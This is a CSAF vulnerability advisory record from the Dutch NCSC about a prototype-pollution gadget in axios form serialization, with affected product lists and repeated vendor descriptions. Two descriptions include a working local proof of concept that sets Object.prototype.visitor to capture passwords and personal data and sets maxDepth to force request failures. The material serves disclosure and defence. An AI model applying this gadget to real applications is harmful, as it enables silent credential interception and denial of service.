{
"document": {
"category": "csaf_base",
"csaf_version": "2.0",
"distribution": {
"tlp": {
"label": "WHITE"
}
},
"lang": "en",
"notes": [
{
"category": "legal_disclaimer",
"text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
}
],
"publisher": {
"category": "coordinator",
"contact_details": "cert@ncsc.nl",
"name": "National Cyber Security Centre",
"namespace": "https://www.ncsc.nl/"
},
"title": "CVE-2026-101909",
"tracking": {
"current_release_date": "2026-10-21T10:05:58.350881Z",
"generator": {
"date": "2026-02-17T15:00:00Z",
"engine": {
"name": "V.E.L.M.A",
"version": "1.7"
}
},
"id": "CVE-2026-101909",
"initial_release_date": "2026-09-28T18:28:52.532396Z",
"revision_history": [
{
"date": "2026-09-28T18:28:52.532396Z",
"number": "1",
"summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (6).| CWES updated (1)."
},
{
"date": "2026-09-28T18:29:03.524914Z",
"number": "2",
"summary": "NCSC Score created."
},
{
"date": "2026-09-28T18:38:44.462928Z",
"number": "3",
"summary": "CVSS created.| CWES created (1).| Products created (2).| References created (6).| Description created for source.| Unknown change."
},
{
"date": "2026-09-28T18:38:50.219603Z",
"number": "4",
"summary": "NCSC Score updated."
},
{
"date": "2026-09-29T06:13:08.035792Z",
"number": "5",
"summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (18).| Products created (1).| References created (8).| CWES updated (1)."
},
{
"date": "2026-09-29T12:29:30.890028Z",
"number": "6",
"summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (5).| Product Identifiers created (1).| References created (8).| CWES updated (1).| Vendor_assessment created."
},
{
"date": "2026-09-29T12:29:34.619520Z",
"number": "7",
"summary": "NCSC Score updated."
},
{
"date": "2026-09-29T12:53:02.407744Z",
"number": "8",
"summary": "Source created.| CVE status created. (valid)| Description created for source.| Products connected (1)."
},
{
"date": "2026-09-29T12:53:21.586544Z",
"number": "9",
"summary": "NCSC Score updated."
},
{
"date": "2026-09-29T16:12:56.491506Z",
"number": "10",
"summary": "EPSS created.| Unknown change."
},
{
"date": "2026-09-29T16:13:03.052139Z",
"number": "11",
"summary": "NCSC Score updated."
},
{
"date": "2026-09-30T08:28:20.117168Z",
"number": "12",
"summary": "NCSC Score updated."
},
{
"date": "2026-09-30T15:40:03.807190Z",
"number": "13",
"summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (8).| CWES updated (1)."
},
{
"date": "2026-09-30T15:40:12.554589Z",
"number": "14",
"summary": "NCSC Score updated."
},
{
"date": "2026-10-03T00:00:48.806166Z",
"number": "15",
"summary": "Unknown change."
},
{
"date": "2026-10-03T00:00:55.099207Z",
"number": "16",
"summary": "NCSC Score updated."
},
{
"date": "2026-10-21T10:05:54.304050Z",
"number": "17",
"summary": "Source connected.| CVE status created. (valid)| Products connected (12).| References created (3)."
},
{
"date": "2026-10-21T10:05:56.399700Z",
"number": "18",
"summary": "NCSC Score updated."
}
],
"status": "interim",
"version": "18"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/>=0.28.0|<0.34.0",
"product": {
"name": "vers:unknown/>=0.28.0|<0.34.0",
"product_id": "CSAFPID-9482867"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/>=1.15.1|<1.20.0",
"product": {
"name": "vers:unknown/>=1.15.1|<1.20.0",
"product_id": "CSAFPID-9482868"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v0.28.0",
"product": {
"name": "vers:unknown/v0.28.0",
"product_id": "CSAFPID-4429447"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v0.28.1",
"product": {
"name": "vers:unknown/v0.28.1",
"product_id": "CSAFPID-4429448"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v0.29.0",
"product": {
"name": "vers:unknown/v0.29.0",
"product_id": "CSAFPID-4429449"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v0.30.0",
"product": {
"name": "vers:unknown/v0.30.0",
"product_id": "CSAFPID-4847028"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v0.30.1",
"product": {
"name": "vers:unknown/v0.30.1",
"product_id": "CSAFPID-4847029"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v0.30.2",
"product": {
"name": "vers:unknown/v0.30.2",
"product_id": "CSAFPID-5631707"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v0.30.3",
"product": {
"name": "vers:unknown/v0.30.3",
"product_id": "CSAFPID-8600995"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v0.31.0",
"product": {
"name": "vers:unknown/v0.31.0",
"product_id": "CSAFPID-8600994"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v0.31.1",
"product": {
"name": "vers:unknown/v0.31.1",
"product_id": "CSAFPID-8600993"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v0.32.0",
"product": {
"name": "vers:unknown/v0.32.0",
"product_id": "CSAFPID-8925640"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v0.33.0",
"product": {
"name": "vers:unknown/v0.33.0",
"product_id": "CSAFPID-9485032"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.15.1",
"product": {
"name": "vers:unknown/v1.15.1",
"product_id": "CSAFPID-8580141"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.15.2",
"product": {
"name": "vers:unknown/v1.15.2",
"product_id": "CSAFPID-8583063"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.16.0",
"product": {
"name": "vers:unknown/v1.16.0",
"product_id": "CSAFPID-8925641"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.16.1",
"product": {
"name": "vers:unknown/v1.16.1",
"product_id": "CSAFPID-8925639"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.17.0",
"product": {
"name": "vers:unknown/v1.17.0",
"product_id": "CSAFPID-8925638"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.18.0",
"product": {
"name": "vers:unknown/v1.18.0",
"product_id": "CSAFPID-9484963"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.18.1",
"product": {
"name": "vers:unknown/v1.18.1",
"product_id": "CSAFPID-9484962"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.19.0",
"product": {
"name": "vers:unknown/v1.19.0",
"product_id": "CSAFPID-9484961"
}
}
],
"category": "product_name",
"name": "Axios"
}
],
"category": "vendor",
"name": "Axios"
},
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/lts <10.2.24",
"product": {
"name": "vers:unknown/lts <10.2.24",
"product_id": "CSAFPID-9773074"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/lts <12.1.12",
"product": {
"name": "vers:unknown/lts <12.1.12",
"product_id": "CSAFPID-9773077"
}
}
],
"category": "product_name",
"name": "Bamboo"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/<10.5.1",
"product": {
"name": "vers:unknown/<10.5.1",
"product_id": "CSAFPID-9527307"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/lts <10.2.8",
"product": {
"name": "vers:unknown/lts <10.2.8",
"product_id": "CSAFPID-9773075"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/lts <9.4.26",
"product": {
"name": "vers:unknown/lts <9.4.26",
"product_id": "CSAFPID-9773079"
}
}
],
"category": "product_name",
"name": "Bitbucket"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/<11.0.0",
"product": {
"name": "vers:unknown/<11.0.0",
"product_id": "CSAFPID-9773080"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/lts <10.2.19",
"product": {
"name": "vers:unknown/lts <10.2.19",
"product_id": "CSAFPID-9773081"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/lts <9.2.26",
"product": {
"name": "vers:unknown/lts <9.2.26",
"product_id": "CSAFPID-9773082"
}
}
],
"category": "product_name",
"name": "Confluence"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/<4.9.15",
"product": {
"name": "vers:unknown/<4.9.15",
"product_id": "CSAFPID-9527315"
}
}
],
"category": "product_name",
"name": "Crucible"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/<4.9.15",
"product": {
"name": "vers:unknown/<4.9.15",
"product_id": "CSAFPID-9527321"
}
}
],
"category": "product_name",
"name": "Fisheye"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/lts <10.3.26",
"product": {
"name": "vers:unknown/lts <10.3.26",
"product_id": "CSAFPID-9773078"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/lts <11.3.12",
"product": {
"name": "vers:unknown/lts <11.3.12",
"product_id": "CSAFPID-9773076"
}
}
],
"category": "product_name",
"name": "Jira"
}
],
"category": "vendor",
"name": "Atlassian"
},
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "vers:rpm/1",
"product": {
"name": "vers:rpm/1",
"product_id": "CSAFPID-6014972",
"product_identification_helper": {
"cpe": "cpe:/a:redhat:hummingbird:1"
}
}
}
],
"category": "product_name",
"name": "Red Hat Hardened Images"
},
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "vers:rpm/unknown",
"product": {
"name": "vers:rpm/unknown",
"product_id": "CSAFPID-8902830"
}
}
],
"category": "product_name",
"name": "grafana12.4"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:rpm/unknown",
"product": {
"name": "vers:rpm/unknown",
"product_id": "CSAFPID-8902831"
}
}
],
"category": "product_name",
"name": "grafana13.1"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:rpm/unknown",
"product": {
"name": "vers:rpm/unknown",
"product_id": "CSAFPID-9053231"
}
}
],
"category": "product_name",
"name": "grafana13.2"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:rpm/unknown",
"product": {
"name": "vers:rpm/unknown",
"product_id": "CSAFPID-8476867"
}
}
],
"category": "product_name",
"name": "jaeger"
}
],
"category": "product_family",
"name": "Red Hat Hardened Images"
}
],
"category": "vendor",
"name": "Red Hat"
},
{
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "vers:deb/unknown",
"product": {
"name": "vers:deb/unknown",
"product_id": "CSAFPID-2434928"
}
}
],
"category": "product_name",
"name": "node-axios"
}
],
"category": "product_family",
"name": "bookworm"
}
],
"category": "vendor",
"name": "Debian"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-101909",
"cwe": {
"id": "CWE-1321",
"name": "Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')"
},
"notes": [
{
"category": "description",
"text": "Axios is a promise-based HTTP client for the browser and Node.js. From 0.28.0 until 0.34.0 and 1.15.1 until 1.20.0, ToFormData processes inherited serialization options and visitor properties supplied through prototype pollution. A separate same-process prototype-pollution flaw supplies inherited dots, indexes, metaTokens, maxDepth, visitor, or Blob values before object serialization. The inherited options alter toFormData field naming and data interpretation, maxDepth can force request failure, Blob changes value handling, and a polluted visitor can execute when an attacker already has the stronger ability to inject a function. Serialized field naming and data interpretation can change, maxDepth can cause request failure, Blob can alter value handling, and a polluted visitor can execute under the stronger function-injection primitive. This issue is fixed in versions 0.34.0 and 1.20.0.",
"title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-101909"
},
{
"category": "description",
"text": "Axios is a promise-based HTTP client for the browser and Node.js. From 0.28.0 until 0.34.0 and 1.15.1 until 1.20.0, ToFormData processes inherited serialization options and visitor properties supplied through prototype pollution. A separate same-process prototype-pollution flaw supplies inherited dots, indexes, metaTokens, maxDepth, visitor, or Blob values before object serialization. The inherited options alter toFormData field naming and data interpretation, maxDepth can force request failure, Blob changes value handling, and a polluted visitor can execute when an attacker already has the stronger ability to inject a function. Serialized field naming and data interpretation can change, maxDepth can cause request failure, Blob can alter value handling, and a polluted visitor can execute under the stronger function-injection primitive. This issue is fixed in versions 0.34.0 and 1.20.0.",
"title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-101909"
},
{
"category": "description",
"text": "A flaw was found in axios. In applications affected by prototype pollution, where an attacker can modify base JavaScript object properties, axios processes inherited options during form data serialization without verifying property ownership. An attacker can leverage this behavior to trigger a Denial of Service (DoS) by causing requests to fail, alter outgoing serialized request data, or potentially execute arbitrary code if function injection is possible.",
"title": "redhat - https://access.redhat.com/security/cve/CVE-2026-101909"
},
{
"category": "description",
"text": "Axios is a promise-based HTTP client for the browser and Node.js. From 0.28.0 until 0.34.0 and 1.15.1 until 1.20.0, ToFormData processes inherited serialization options and visitor properties supplied through prototype pollution. A separate same-process prototype-pollution flaw supplies inherited dots, indexes, metaTokens, maxDepth, visitor, or Blob values before object serialization. The inherited options alter toFormData field naming and data interpretation, maxDepth can force request failure, Blob changes value handling, and a polluted visitor can execute when an attacker already has the stronger ability to inject a function. Serialized field naming and data interpretation can change, maxDepth can cause request failure, Blob can alter value handling, and a polluted visitor can execute under the stronger function-injection primitive. This issue is fixed in versions 0.34.0 and 1.20.0.",
"title": "debian - https://security-tracker.debian.org/tracker/CVE-2026-101909"
},
{
"category": "description",
"text": "Axios is a promise-based HTTP client for the browser and Node.js. From 0.28.0 until 0.34.0 and 1.15.1 until 1.20.0, ToFormData processes inherited serialization options and visitor properties supplied through prototype pollution. A separate same-process prototype-pollution flaw supplies inherited dots, indexes, metaTokens, maxDepth, visitor, or Blob values before object serialization. The inherited options alter toFormData field naming and data interpretation, maxDepth can force request failure, Blob changes value handling, and a polluted visitor can execute when an attacker already has the stronger ability to inject a function. Serialized field naming and data interpretation can change, maxDepth can cause request failure, Blob can alter value handling, and a polluted visitor can execute under the stronger function-injection primitive. This issue is fixed in versions 0.34.0 and 1.20.0.",
"title": "osvgit - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-101909.json?alt=media"
},
{
"category": "description",
"text": "## Summary\n\nAxios form serialization reads `visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, and `Blob` from an internal options object without own-property guards. When `Object.prototype` has been polluted elsewhere in the same process, those inherited values can change how axios serializes multipart and URL-encoded request bodies.\n\nAxios does not create the prototype pollution source. This is a read-side gadget: axios turns an existing same-process pollution condition into altered request serialization or request failures.\n\n## Impact\n\nThe impact depends on which property is polluted and which axios serialization path the application uses.\n\nPolluted `dots`, `indexes`, or `metaTokens` can change field names and cause the receiving service to parse different data than the caller intended. Polluted `maxDepth` can cause nested form submissions to throw `ERR_FORM_DATA_DEPTH_EXCEEDED`, producing request-level or service-level denial of service for affected workflows. Polluted `visitor` can execute as the serializer visitor if an attacker can place a function on `Object.prototype`, but that condition generally implies a stronger same-process code-execution or malicious-dependency primitive and should be described carefully.\n\n## Affected Functionality\n\nAffected:\n\n- `axios.toFormData()`.\n- `transformRequest` paths that serialize plain objects to `multipart/form-data`.\n- URL-encoded form serialization paths that rely on the same helper.\n- `formSerializer` option defaults when the relevant properties are absent as own properties.\n\nNot affected:\n\n- JSON request bodies.\n- Requests that do not invoke `toFormData()`.\n- Processes where `Object.prototype` is not polluted.\n\n## Technical Details\n\n`lib/helpers/toFormData.js` merges caller options with defaults using `utils.toFlatObject()`. When `options` is `undefined`, `toFlatObject()` returns the default object unchanged:\n\n```js\n{\n metaTokens: true,\n dots: false,\n indexes: false\n}\n```\n\nThat default object has `Object.prototype` in its prototype chain. `toFormData()` then reads behavior-affecting values directly:\n\n```js\nconst metaTokens = options.metaTokens;\nconst visitor = options.visitor || defaultVisitor;\nconst dots = options.dots;\nconst indexes = options.indexes;\nconst _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob);\nconst maxDepth = options.maxDepth === undefined ? DEFAULT_FORM_DATA_MAX_DEPTH : options.maxDepth;\n```\n\nThese reads can resolve inherited polluted properties.\n\nLocal code review confirmed the direct reads in `v1.18.1`. Tag checks show the option-based form serializer exists in `v0.28.0` and later; `maxDepth` appears in the `1.x` line from the form recursion fix.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype.maxDepth = 1;\n\nawait axios.post(url, { a: { b: { c: 'value' } } }, {\n headers: { 'Content-Type': 'multipart/form-data' }\n});\n```\n\nExpected safe behavior is that the default max depth is used unless the caller sets an own `formSerializer.maxDepth`. Current behavior reads the inherited value and can throw `ERR_FORM_DATA_DEPTH_EXCEEDED`.\n\nFor serializer alteration, polluting `Object.prototype.dots = true` changes nested field naming from bracket notation to dot notation when the caller did not opt into that behavior.\n\n## Workarounds\n\nAvoid serializing attacker-controlled objects as form data in a process with known prototype pollution. As a partial mitigation, callers can pass an own `formSerializer` object that sets explicit safe values for all relevant keys, including `visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, and `Blob`.\n\n\n Original report
\n\n### Summary\n_axios v1.18.1 contains a read-side prototype pollution gadget in its form data serialization logic. Six option properties (`visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, `Blob`) are read from a plain JavaScript object that inherits from `Object.prototype` without `hasOwnProperty` guards. When `Object.prototype` has been polluted elsewhere in the process a common consequence of compromised transitive npm dependencies, these polluted values silently control axios' form serialization behavior._\n\n_The highest-impact gadget is `visitor`: a polluted function on `Object.prototype.visitor` is invoked for every key-value pair during multipart and URL-encoded form serialization, receiving the value, key, path, and internal helper functions as arguments._\n\n### Details\n#### Root Cause\n_The attack chain has three steps:_\n_**Step 1: `formSerializer` is read safely, but `undefined` flows through**_\n_In `lib/defaults/index.js`, the default `transformRequest` function reads `formSerializer` from config using the `own()` helper, which enforces `hasOwnProp`:_\n```js\nconst formSerializer = own(this, 'formSerializer');\n```\n_When the user does not explicitly configure `formSerializer`, this correctly returns `undefined`. That `undefined` is then passed as the `options` parameter to `toFormData()`:_\n```js\nreturn toFormData(data, _FormData && new _FormData(), formSerializer);\n// ^^^^^^^^^^^^ undefined\n```\n\n_**Step 2: `toFlatObject` returns a plain-object default**_\n_Inside `lib/helpers/toFormData.js`, `options` (which is `undefined`) is merged with defaults via `utils.toFlatObject()`:_\n```js\noptions = utils.toFlatObject(\n options, // undefined\n { metaTokens: true, dots: false, indexes: false }, // plain object literal\n false,\n function defined(option, source) {\n return !utils.isUndefined(source[option]);\n }\n);\n```\n_`toFlatObject` has an early-return for null/undefined sources:_\n\n```js\n// lib/utils.js:607\nif (sourceObj == null) return destObj;\n```\n_Since `options` is `undefined`, the function returns `destObj` unchanged — the plain object `{ metaTokens: true, dots: false, indexes: false }`. This object's prototype is `Object.prototype`._\n\n_**Step 3: Options are read without `hasOwnProp` guards**_\n_The six option properties are read directly from the plain object:_\n```js\nconst metaTokens = options.metaTokens; // line 117\nconst visitor = options.visitor || defaultVisitor; // line 119\nconst dots = options.dots; // line 120\nconst indexes = options.indexes; // line 121\nconst _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob); // line 122\nconst maxDepth = options.maxDepth === undefined // line 123\n ? DEFAULT_FORM_DATA_MAX_DEPTH\n : options.maxDepth;\n```\n_None of these reads use `utils.hasOwnProp()`. Since the `options` object inherits from `Object.prototype`, any property set on `Object.prototype` by a compromised dependency is resolved through the prototype chain._\n\n#### Why the Existing Defenses Didn't Catch This\n_axios has extensive prototype pollution defenses. However, those defenses are all focused on the **config** object (created by `mergeConfig`, which returns `Object.create(null)`). The `toFormData` function creates its own internal options object that sits outside that boundary, and the 6 reads on that internal object were never audited._\n\n### PoC\n#### Reproduction Steps\n#### Environment\n_Any environment with Node.js and npm. Tested on:_\n_- Node.js v24.15.0, npm 11.13.0_\n_- axios v1.18.1 (latest release at time of writing)_\n\n##### Step 1: Create a fresh project\n```bash\nmkdir axios-pp-poc\ncd axios-pp-poc\nnpm init -y\nnpm install axios@1.18.1\n```\n##### Step 2: Create the PoC file\n_Create `poc.mjs` with the following content:_\n```js\nimport axios from 'axios';\nimport http from 'http';\n\n// Simulate pollution from a compromised transitive dependency\nlet stolen = [];\nObject.prototype.visitor = function(value, key, path, helpers) {\n stolen.push({ key, value });\n return helpers.defaultVisitor.call(this, value, key, path);\n};\nObject.prototype.maxDepth = 2;\n\nconst server = http.createServer((req, res) => {\n res.writeHead(200);\n res.end('{}');\n});\n\nserver.listen(0, '127.0.0.1', async () => {\n const { port } = server.address();\n try {\n // Exfiltration: visitor intercepts all form fields\n await axios.post(`http://127.0.0.1:${port}/`, {\n username: 'john',\n password: 'SuperSecret123!',\n profile: { ssn: '123-45-6789' }\n }, { headers: { 'Content-Type': 'multipart/form-data' } });\n\n console.log('Stolen:', stolen);\n // Stolen: [\n // { key: 'username', value: 'john' },\n // { key: 'password', value: 'SuperSecret123!' },\n // { key: 'profile', value: { ssn: '123-45-6789' } },\n // { key: 'ssn', value: '123-45-6789' }\n // ]\n\n // DoS: nested object rejected by polluted maxDepth\n await axios.post(`http://127.0.0.1:${port}/`,\n { a: { b: { c: { d: 'value' } } } },\n { headers: { 'Content-Type': 'multipart/form-data' } }\n );\n // Throws: ERR_FORM_DATA_DEPTH_EXCEEDED\n // \"Object is too deeply nested (3 levels). Max depth: 2\"\n } finally {\n delete Object.prototype.visitor;\n delete Object.prototype.maxDepth;\n server.close();\n }\n});\n```\n##### Step 3: Run the PoC\n```bash\nnode poc.mjs\n```\n\n\n### Impact\n#### 1. Data Exfiltration via `visitor` (Confidentiality: High)\n_A polluted `Object.prototype.visitor` function is called as the form data visitor:_\n```js\nvisitor.call(formData, el, key, path, exposedHelpers)\n```\n_The attacker receives:_\n_- **`value`** — the raw value being serialized (passwords, tokens, PII, API keys)_\n_- **`key`** — the field name_\n_- **`path`** — the full path array (e.g., `['profile', 'address', 'street']`)_\n_- **`exposedHelpers`** — internal helpers including `defaultVisitor`, `convertValue`, `isVisitable`_\n\n_By delegating to `helpers.defaultVisitor`, the attack is completely transparent, the request succeeds normally and the server receives intact data. The exfiltration is invisible to both the caller and the server._\n\n#### 2. Denial of Service via `maxDepth` (Availability: Low)\n_A polluted `Object.prototype.maxDepth` of `1` or `2` causes any moderately nested form data request to throw `ERR_FORM_DATA_DEPTH_EXCEEDED`. Applications that send nested objects as form data (common with APIs that accept `profile[name]`, `address[city]`, etc.) will experience mysterious failures._\n\n#### 3. Data Corruption via `dots`, `indexes`, `metaTokens` (Integrity: Low)\n_Polluting these options changes the serialization format of form field names:_\n_- **`dots: true`** — changes bracket notation (`user[name]`) to dot notation (`user.name`)_\n_- **`indexes: true`** — changes array serialization (`items[]`) to indexed (`items[0]`, `items[1]`)_\n_- **`metaTokens: false`** — changes `obj{}` keys to raw json strings_\n\n_The server may misinterpret the submitted form data, leading to silent data corruption._\n \n\n---",
"title": "osvnpm - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-x97p-jq2g-jp4f.json?alt=media"
},
{
"category": "description",
"text": "## Summary\n\nAxios form serialization reads `visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, and `Blob` from an internal options object without own-property guards. When `Object.prototype` has been polluted elsewhere in the same process, those inherited values can change how axios serializes multipart and URL-encoded request bodies.\n\nAxios does not create the prototype pollution source. This is a read-side gadget: axios turns an existing same-process pollution condition into altered request serialization or request failures.\n\n## Impact\n\nThe impact depends on which property is polluted and which axios serialization path the application uses.\n\nPolluted `dots`, `indexes`, or `metaTokens` can change field names and cause the receiving service to parse different data than the caller intended. Polluted `maxDepth` can cause nested form submissions to throw `ERR_FORM_DATA_DEPTH_EXCEEDED`, producing request-level or service-level denial of service for affected workflows. Polluted `visitor` can execute as the serializer visitor if an attacker can place a function on `Object.prototype`, but that condition generally implies a stronger same-process code-execution or malicious-dependency primitive and should be described carefully.\n\n## Affected Functionality\n\nAffected:\n\n- `axios.toFormData()`.\n- `transformRequest` paths that serialize plain objects to `multipart/form-data`.\n- URL-encoded form serialization paths that rely on the same helper.\n- `formSerializer` option defaults when the relevant properties are absent as own properties.\n\nNot affected:\n\n- JSON request bodies.\n- Requests that do not invoke `toFormData()`.\n- Processes where `Object.prototype` is not polluted.\n\n## Technical Details\n\n`lib/helpers/toFormData.js` merges caller options with defaults using `utils.toFlatObject()`. When `options` is `undefined`, `toFlatObject()` returns the default object unchanged:\n\n```js\n{\n metaTokens: true,\n dots: false,\n indexes: false\n}\n```\n\nThat default object has `Object.prototype` in its prototype chain. `toFormData()` then reads behavior-affecting values directly:\n\n```js\nconst metaTokens = options.metaTokens;\nconst visitor = options.visitor || defaultVisitor;\nconst dots = options.dots;\nconst indexes = options.indexes;\nconst _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob);\nconst maxDepth = options.maxDepth === undefined ? DEFAULT_FORM_DATA_MAX_DEPTH : options.maxDepth;\n```\n\nThese reads can resolve inherited polluted properties.\n\nLocal code review confirmed the direct reads in `v1.18.1`. Tag checks show the option-based form serializer exists in `v0.28.0` and later; `maxDepth` appears in the `1.x` line from the form recursion fix.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype.maxDepth = 1;\n\nawait axios.post(url, { a: { b: { c: 'value' } } }, {\n headers: { 'Content-Type': 'multipart/form-data' }\n});\n```\n\nExpected safe behavior is that the default max depth is used unless the caller sets an own `formSerializer.maxDepth`. Current behavior reads the inherited value and can throw `ERR_FORM_DATA_DEPTH_EXCEEDED`.\n\nFor serializer alteration, polluting `Object.prototype.dots = true` changes nested field naming from bracket notation to dot notation when the caller did not opt into that behavior.\n\n## Workarounds\n\nAvoid serializing attacker-controlled objects as form data in a process with known prototype pollution. As a partial mitigation, callers can pass an own `formSerializer` object that sets explicit safe values for all relevant keys, including `visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, and `Blob`.\n\n\n Original report
\n\n### Summary\n_axios v1.18.1 contains a read-side prototype pollution gadget in its form data serialization logic. Six option properties (`visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, `Blob`) are read from a plain JavaScript object that inherits from `Object.prototype` without `hasOwnProperty` guards. When `Object.prototype` has been polluted elsewhere in the process a common consequence of compromised transitive npm dependencies, these polluted values silently control axios' form serialization behavior._\n\n_The highest-impact gadget is `visitor`: a polluted function on `Object.prototype.visitor` is invoked for every key-value pair during multipart and URL-encoded form serialization, receiving the value, key, path, and internal helper functions as arguments._\n\n### Details\n#### Root Cause\n_The attack chain has three steps:_\n_**Step 1: `formSerializer` is read safely, but `undefined` flows through**_\n_In `lib/defaults/index.js`, the default `transformRequest` function reads `formSerializer` from config using the `own()` helper, which enforces `hasOwnProp`:_\n```js\nconst formSerializer = own(this, 'formSerializer');\n```\n_When the user does not explicitly configure `formSerializer`, this correctly returns `undefined`. That `undefined` is then passed as the `options` parameter to `toFormData()`:_\n```js\nreturn toFormData(data, _FormData && new _FormData(), formSerializer);\n// ^^^^^^^^^^^^ undefined\n```\n\n_**Step 2: `toFlatObject` returns a plain-object default**_\n_Inside `lib/helpers/toFormData.js`, `options` (which is `undefined`) is merged with defaults via `utils.toFlatObject()`:_\n```js\noptions = utils.toFlatObject(\n options, // undefined\n { metaTokens: true, dots: false, indexes: false }, // plain object literal\n false,\n function defined(option, source) {\n return !utils.isUndefined(source[option]);\n }\n);\n```\n_`toFlatObject` has an early-return for null/undefined sources:_\n\n```js\n// lib/utils.js:607\nif (sourceObj == null) return destObj;\n```\n_Since `options` is `undefined`, the function returns `destObj` unchanged — the plain object `{ metaTokens: true, dots: false, indexes: false }`. This object's prototype is `Object.prototype`._\n\n_**Step 3: Options are read without `hasOwnProp` guards**_\n_The six option properties are read directly from the plain object:_\n```js\nconst metaTokens = options.metaTokens; // line 117\nconst visitor = options.visitor || defaultVisitor; // line 119\nconst dots = options.dots; // line 120\nconst indexes = options.indexes; // line 121\nconst _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob); // line 122\nconst maxDepth = options.maxDepth === undefined // line 123\n ? DEFAULT_FORM_DATA_MAX_DEPTH\n : options.maxDepth;\n```\n_None of these reads use `utils.hasOwnProp()`. Since the `options` object inherits from `Object.prototype`, any property set on `Object.prototype` by a compromised dependency is resolved through the prototype chain._\n\n#### Why the Existing Defenses Didn't Catch This\n_axios has extensive prototype pollution defenses. However, those defenses are all focused on the **config** object (created by `mergeConfig`, which returns `Object.create(null)`). The `toFormData` function creates its own internal options object that sits outside that boundary, and the 6 reads on that internal object were never audited._\n\n### PoC\n#### Reproduction Steps\n#### Environment\n_Any environment with Node.js and npm. Tested on:_\n_- Node.js v24.15.0, npm 11.13.0_\n_- axios v1.18.1 (latest release at time of writing)_\n\n##### Step 1: Create a fresh project\n```bash\nmkdir axios-pp-poc\ncd axios-pp-poc\nnpm init -y\nnpm install axios@1.18.1\n```\n##### Step 2: Create the PoC file\n_Create `poc.mjs` with the following content:_\n```js\nimport axios from 'axios';\nimport http from 'http';\n\n// Simulate pollution from a compromised transitive dependency\nlet stolen = 